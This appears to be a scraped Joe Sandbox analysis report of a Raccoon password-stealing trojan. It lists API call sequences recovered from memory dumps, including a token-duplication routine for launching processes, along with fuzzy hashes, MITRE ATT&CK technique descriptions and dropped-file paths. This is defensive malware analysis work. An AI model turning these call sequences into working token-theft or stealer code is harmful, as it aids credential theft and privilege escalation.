GetProcAddress.KERNEL32(?), ref: 0040776A
GetProcAddress.KERNEL32(?), ref: 00407777
GetProcAddress.KERNEL32(?), ref: 00407789
GetProcAddress.KERNEL32(?), ref: 0040779B

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 779bc86a0f6874b348af641a1cda25dfabbb65867abada97af9e7cdf703e5168
Instruction ID: 1045183a2006e6124140b0259f8764e5eb7a05d8ada02cf4eb81cacd872c5b90
Opcode Fuzzy Hash: 779bc86a0f6874b348af641a1cda25dfabbb65867abada97af9e7cdf703e5168
Instruction Fuzzy Hash: D9315C7588E650EFD7125F60EC08AEA7EB6EB09305B00C07AE909826B0D7391695DF5E

Function 0040EF5C Relevance: 15.1, APIs: 10, Instructions: 78processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040EF72
Process32First.KERNEL32(00000000,0000022C), ref: 0040EF8C
OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 0040EFB5
OpenProcessToken.ADVAPI32(00000000,000F01FF,?), ref: 0040EFC7
DuplicateTokenEx.ADVAPI32(?,000F01FF,00000000,00000002,00000001,?), ref: 0040EFE3
CloseHandle.KERNEL32(?), ref: 0040EFF0
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0040F004
CreateProcessWithTokenW.ADVAPI32(?,00000001,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 0040F01E
CloseHandle.KERNEL32(00000000), ref: 0040F025
Process32Next.KERNEL32(00000000,0000022C), ref: 0040F033

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ProcessToken$CloseCreateHandleOpenProcess32$DuplicateFileFirstModuleNameNextSnapshotToolhelp32With
String ID:
API String ID: 3728312893-0
Opcode ID: 448d0734005b7cefde4a9f1eab54b4c865ff6e841a034a081d9bf817705d3dde
Instruction ID: 168a8aa46b14883414fb526fdaf2875e521f66ddef3a06f4611f4f205b382900
Opcode Fuzzy Hash: 448d0734005b7cefde4a9f1eab54b4c865ff6e841a034a081d9bf817705d3dde
Instruction Fuzzy Hash: 0D215171644219BFEB20ABA0DC89FEE7B78EB08701F1040B5F705E51D1D7B49A48DB68

Function 0040F969 Relevance: 5.0, APIs: 4, Instructions: 47stringmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,?,00000000,?,?,?,?,0040824E,00000000), ref: 0040F97C
LocalAlloc.KERNEL32(00000040,-00000040,?,0040824E,00000000), ref: 0040F988
lstrcpy.KERNEL32(00000000,00000000), ref: 0040F9B7
LocalFree.KERNEL32(00000000,?,0040824E,00000000), ref: 0040F9C4

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$AllocFreelstrcpylstrlen
String ID:
API String ID: 4200097308-0
Opcode ID: 44b99505ddcefd38e378b778a9287cafc4411b87889e4f4d58af52f8c89cf4ba
Instruction ID: 019c2ae760e7ea2690b7a04ea1edd2f39104da4dd8da3a40d46f8f611017d86a
Opcode Fuzzy Hash: 44b99505ddcefd38e378b778a9287cafc4411b87889e4f4d58af52f8c89cf4ba
Instruction Fuzzy Hash: 3001A2B0608614BFD7158F69DC88AAA7FB9EF8A314B1480B9E546D7342D2349C0586A5

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Raccoon

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\08Wp7CcOg1xX

C:\Users\user\AppData\LocalLow\0lO6WpRVo39m

C:\Users\user\AppData\LocalLow\1N7B1WG621pf

C:\Users\user\AppData\LocalLow\1qWh38VFuct6

C:\Users\user\AppData\LocalLow\1qWh38VFuct6-shm

C:\Users\user\AppData\LocalLow\2w4hPrO30hCL

C:\Users\user\AppData\LocalLow\3LcYYcO8dG7j

C:\Users\user\AppData\LocalLow\3MX8Lp8rWVnx

C:\Users\user\AppData\LocalLow\3YVS216A615e

C:\Users\user\AppData\LocalLow\5HT1gk6u4uh5

C:\Users\user\AppData\LocalLow\64SgXtE9PDJF

C:\Users\user\AppData\LocalLow\6661D189fbW2

C:\Users\user\AppData\LocalLow\66Q83l9gmckF

C:\Users\user\AppData\LocalLow\6dk9H852z7FG

C:\Users\user\AppData\LocalLow\6yoG2luT9rxT

Windows Analysis Report
SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe